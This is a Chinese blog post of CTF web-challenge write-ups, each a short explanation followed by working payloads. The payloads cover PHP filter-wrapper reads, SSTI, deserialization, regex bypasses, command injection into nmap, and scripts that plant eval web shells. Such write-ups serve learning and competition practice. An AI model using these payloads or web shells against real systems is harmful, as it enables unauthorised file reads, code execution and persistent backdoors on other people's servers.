moonflower 发布的文章

[BSidesCF 2020]Had a bad day

php伪协议嵌套一些无关的字符不影响文件的读取

payload:
php://filter/read=convert.base64-encode/woofers/resource=index

[CISCN 2019 初赛]Love Math

可利用的函数

base_convert():在任意进制之间转换数字。
hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。
dechex() 函数把十进制数转换为十六进制数。

想要执行的命令:

?c=system("cat /flag")

php支持用变量代替函数:

?c=($_GET[a])($_GET[b])&a=system&b=cat /flag

其中[]可以用{}代替,_GET可用按一下思路构造

_GET => 10进制ascii(用hex2bin) => 16进制ascii(用dechex)
用base_convert构造hex2bin => hex2bin=base_convert(37907361743,10,36)

最后的payload:

c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs=cat /flag

[CISCN2019 华东南赛区]Web11

Smarty模板注入
smarty中if标签可以执行php语句
payload:

{if readfile('/flag')}{/if}

[WUSTCTF2020]朴实无华

第一个绕过

intval()处理字符串时会将第一个非数字前面的当做一个数字处理,
构造$num='1e10',在进行+操作时会被转成整数型进行运算,从而实现绕过。

第二个绕过
md5值与自身相等即可,放一个别人的脚本

def run():
    i = 0
    while True:
        text = '0e{}'.format(i)
        m = md5(text)
        print(text,m)
        if m[0:2] == '0e' :
            if m[2:].isdigit():
                print('find it:',text,":",m)
                break
        i +=1

run()

第三个绕过

ca\t%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag

得到flag。

[网鼎杯 2020 朱雀组]Nmap

先放上参考
利用escapeshellarg()+escapeshellcmd()造成的绕过

传入的参数是:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义:http://php.net/manual/zh/function.escapeshellcmd.php
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。

最后的payload:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php '

[NPUCTF2020]ReadlezPHP

动态函数的反序列化
直接上payload:

payload:?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}

phpinfo中find一个flag就好

[GWCTF 2019]枯燥的抽奖

mt_rand伪随机数,首先生成脚本能识别的序列。

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='L5w6HSyn3X'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break
print(res)

生成好的东西扔php_mt_seed里跑
再把生成的种子扔脚本里跑

<?php
mt_srand(819101489);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;
?>

生成的序列填入,获得flag。

[MRCTF2020]套娃

php在解析url的时候会将某些字符解析成下划线,正则匹配可以用%0a截断。payload

?b%20u%20p%20t=23333%0a

修改http头进入文件,发现jsfuck,解码得知要post一个参数。
换个http头,用伪协议绕过if

?2333=data:text/plain,todat is a happy day&file=flag.php

还需要将flag.php进行解密后再传入。

<?php
function unchange($v){
    $re = '';
    for($i=0;$i<strlen($v);$i++){
        $re .= chr ( ord ($v[$i]) - $i*2 );
    }
    return $re;
}
$real_flag = unchange('flag.php');
echo base64_encode($real_flag);
?>

最后的payload:

?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=

http头
Client-ip : 127.0.0.1

[FBCTF2019]RCEService

不知道源码哪来的,但它确实有源码。
cat不能直接用,要用/bin/cat
preg_match只能匹配一行,可以采用多行绕过。
payload:

{%0A"cmd":"/bin/cat /home/rceservice/flag"%0A}

或者利用PCRE的最大回溯次数来绕过
放一个p神的文章
payload2:

import requests
payload = '{"cmd":"/bin/cat /home/rceservice/flag ","nayi":"' + "a"*(1000000) + '"}'
res = requests.post("url", data={"cmd":payload})
print(res.text)

[Zer0pts2020]Can you guess it?

利用的basename会自动去除非ascii字符造成的绕过。
Fuzz一下先:

import requests
import re
for i in range(0,255):
    url ='xxxxx.node3.buuoj.cn/index.php/config.php/{}?source'.format(chr(i))
    print(url)
    r = requests.get(url)
    flag = re.findall("flag\{.*?\}", r.text)
    if flag:
        print(flag)
        break

payload:

/index.php/config.php/%ff?source

[HarekazeCTF2019]encode_and_encode

伪协议没过滤filter,flag可以用Unicode编码绕过,
显示数据的时候用base64绕过。
payload:

{"page":"\u0070\u0068\u0070\u003A\u002F\u002F\u0066\u0069\u006C\u0074\u0065\u0072\u002F\u0063\u006F\u006E\u0076\u0065\u0072\u0074\u002E\u0062\u0061\u0073\u0065\u0036\u0034\u002D\u0065\u006E\u0063\u006F\u0064\u0065\u002F\u0072\u0065\u0073\u006F\u0075\u0072\u0063\u0065\u003D\u002F\u0066\u006C\u0061\u0067"}

[BJDCTF2020]EzPHP

这个题是真tmd烦

第一层,因为直接解析url中的内容,所以可以直接用urlencode绕过。
第二层,preg_match在末尾没有s的时候会自动忽略%0a,这里可以加一个%0a绕过。
第三层,在REQUEST中,如果POST和GET传入同一个变量,POST的优先级会高于GET,因此可以POST传入纯数字来覆盖GET,注意这里还有把COOKIE给去掉。
第四层,文件内容比较直接用data协议绕过。
第五层,绕过sha1,类似md5可以用数组绕过。

然后是动态函数的构造

$code('', $arg);
等价于
$code(){
    $arg;
}

这里可以通过手动闭合大括号达成任意命令执行的目的。

function feng(){
    }var_dump(get_defined_vars);//}

然后提示要包含rea1fl4g.php,尝试伪协议加取反绕过。

<?php
$s = 'php://filter/convert.base64-encode/resource=rea1fl4g.php';
echo urlencode(~$s);

[NPUCTF2020]ezinclude

php伪协议读一下flflflflag.php的源码,过滤了data|input|zip,不能直接写马。
利用php < 7.2的特性

向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留

payload:

import requests
from io import BytesIO
url="http://f0af8aa4-9e9c-40a8-9003-175dbc6f69f8.node3.buuoj.cn/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
payload="<?php phpinfo();?>"
files={
    "file":BytesIO(payload.encode())
}
r=requests.post(url=url,files=files,allow_redirects=False)

print(r.text)

打开dir.php得到临时文件名,flag在phpinfo中。

[SUCTF 2018]annonymous

想办法调用匿名函数,原理如下:

匿名函数其实是有真正的名字,为%00lambda_%d(%d格式化为当前进程的第n个匿名函数,n的范围0-999)

写个脚本暴力跑一下

import requests
while True:
    r=requests.get('http://url/?func_name=%00lambda_1')
    if 'flag' in r.text:
        print(r.text)
        break

[羊城杯 2020]Blackcat

hash_hmac在进行sha256加密时将遇到数组返回空值,和数组绕过sha256比较的原理相同。

payload:
White-cat-monitor[]=K1ose&Black-Cat-Sheriff=afd556602cf62addfe4132a81b2d62b9db1b6719f83e16cce13f51960f56791b&One-ear=;env

[羊城杯 2020]Easyphp2

php://filter伪协议的骚操作,过滤了base64|rot13等常用,但。。。

payload:
1.php://filter/convert.%6%32ase64-encode/resource=GWHT.php (二次url编码绕过)
2.php://filter/read=convert.quoted-printable-encode/resource=GWHT.php (Quoted-printable编码绕过)
3.php://filter/read=convert.iconv.utf-8.utf-16be/resource=GWHT.php (utf系列绕过)

读到源码后把user=pass改为GWHT正常访问,通过字符串拼接直接写马:

count='|echo "<?= eval(\$_POST['shell'])?>" > a.php'

连上之后发现权限不够,找到密码的hash直接爆破,然后用su执行cat flag

printf "GWHTCTF" | su - GWHT -c 'cat /GWHT/system/of/a/down/flag.txt'

[WMCTF2020]Web Check in 2.0

上一题是filter的读,这个事filter的写,原理类似。出题人的参考
以及这篇及其详细的
还是两种思路,用url编码绕过过滤和直接filter过滤器绕过,但这里过滤了%25,编码绕过时需要fuzz一下找个能用的,

<?php 
$char = 'r'; #构造r的二次编码 
for ($ascii1 = 0; $ascii1 < 256; $ascii1++) { 
    for ($ascii2 = 0; $ascii2 < 256; $ascii2++) { 
        $aaa = '%'.$ascii1.'%'.$ascii2; 
        if(urldecode(urldecode($aaa)) == $char){ 
            echo $char.': '.$aaa; 
            echo "\n"; 
        } 
    } 
} 
?> 
php://filter/write=string.%7%32ot13|cuc cucvasb();|/resource=Cyc1e.php 
#Cyc1e.php 
<?cuc rkvg();cuc://svygre/jevgr=fgevat.%72bg13|<?php phpinfo();?>|/erfbhepr=Plp1r.cuc 

或者组合去拳直接绕过

php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET[1]);?>/resource=Cyc1e.php